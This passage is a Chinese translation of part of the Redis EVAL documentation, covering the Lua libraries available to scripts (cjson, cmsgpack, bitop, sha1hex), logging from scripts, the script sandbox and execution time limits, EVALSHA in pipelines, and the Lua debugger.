struct.size("HH")' 0 (integer) 4CJSONCJSON库在Lua中提供了非常快速的JSON操作。例：redis 127.0.0.1:6379> eval 'return cjson.encode({["foo"]= "bar"})' 0 "{\"foo\":\"bar\"}" redis 127.0.0.1:6379> eval 'return cjson.decode(ARGV[1])["foo"]' 0 "{\"foo\":\"bar\"}" "bar"cmsgpackcmsgpack库在Lua中提供简单快速的MessagePack操作。例：127.0.0.1:6379> eval 'return cmsgpack.pack({"foo", "bar", "baz"})' 0 "\x93\xa3foo\xa3bar\xa3baz" 127.0.0.1:6379> eval 'return cmsgpack.unpack(ARGV[1])' 0 "\x93\xa3foo\xa3bar\xa3baz" 1) "foo" 2) "bar" 3) "baz"bitopLua位操作模块在数字上添加按位操作。自2.8.18版以来，它可用于Redis中的脚本。例：127.0.0.1:6379> eval 'return bit.tobit(1)' 0 (integer) 1 127.0.0.1:6379> eval 'return bit.bor(1,2,4,8,16,32,64,128)' 0 (integer) 255 127.0.0.1:6379> eval 'return bit.tohex(422342)' 0 "000671c6"它支持其他几个功能： bit.tobit，bit.tohex，bit.bnot，bit.band，bit.bor，bit.bxor， bit.lshift，bit.rshift，bit.arshift，bit.rol，bit.ror，bit.bswap。所有可用的功能都记录在Lua BitOp文档中redis.sha1hex执行输入字符串的SHA1。例：127.0.0.1:6379> eval 'return redis.sha1hex(ARGV[1])' 0 "foo" "0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33"从脚本发出Redis日志可以使用redis.log函数从Lua脚本写入Redis日志文件 。redis.log(loglevel,message)loglevel 是其中之一：redis.LOG_DEBUGredis.LOG_VERBOSEredis.LOG_NOTICEredis.LOG_WARNING它们直接对应于正常的Redis日志级别。只有使用等于或大于当前配置的Redis实例日志级别的日志级别通过脚本发出的日志才会被发出。该message参数是一个简单的字符串。例：redis.log(redis.LOG_WARNING,"Something is wrong with this script.")将生成以下内容：[32343] 22 Mar 15:21:39 # Something is wrong with this script.沙箱和最大的执行时间脚本不应尝试访问外部系统，如文件系统或任何其他系统调用。脚本只能在Redis数据上运行并传递参数。脚本也受到最大执行时间（默认为5秒）的限制。这个默认的超时时间很长，因为一个脚本通常应该运行在毫秒以下。限制主要是为了处理在开发过程中产生的意外的无限循环。可以通过redis.conf或使用CONFIG GET / CONFIG SET命令修改脚本以毫秒级精度执行的最长时间。影响最大执行时间的配置参数被调用 lua-time-limit。当脚本达到超时时，不会由Redis自动终止，因为这违反了Redis与脚本引擎之间的合约，以确保脚本是原子的。中断脚本意味着可能将数据集保留为半写入数据。由于这个原因，当脚本执行超过指定的时间时，会发生以下情况：Redis记录脚本运行时间过长。它开始再次接受来自其他客户端的命令，但将向所有发送正常命令的客户端回复BUSY错误。唯一允许的命令是SCRIPT KILL和SHUTDOWN NOSAVE。可以使用SCRIPT KILL命令终止一个只执行只读命令的脚本。这并不违反脚本语义，因为没有数据被脚本写入数据集。如果脚本已经调用了写入命令，则唯一允许的命令变为 SHUTDOWN NOSAVE停止服务器而不保存磁盘上的当前数据集（基本上服务器被中止）。EVALSHA在流水线的上下文中在流水线请求的上下文中执行EVALSHA时要小心，因为即使在流水线中，也必须保证命令的执行顺序。如果EVALSHA将返回一个NOSCRIPT错误，则该命令不能在稍后重新发布，否则违反了执行顺序。客户端库实现应采取以下方法之一： 在管道环境中始终使用简单的EVAL。 累积所有要发送到管道中的命令，然后检查EVAL 命令并使用SCRIPT EXISTS命令检查是否所有脚本都已经定义。如果没有，请根据需要在管道顶部添加SCRIPT LOAD命令，并对所有EVAL呼叫使用EVALSHA。 调试Lua脚本从Redis 3.2开始，Redis支持原生Lua调试。Redis Lua调试器是一个远程调试器，由一个服务器（Redis本身）和一个默认的客户端组成redis-cli。Lua调试器在Redis文档的Lua脚本调试部分进行了描述。参考来源： EVAL – Redis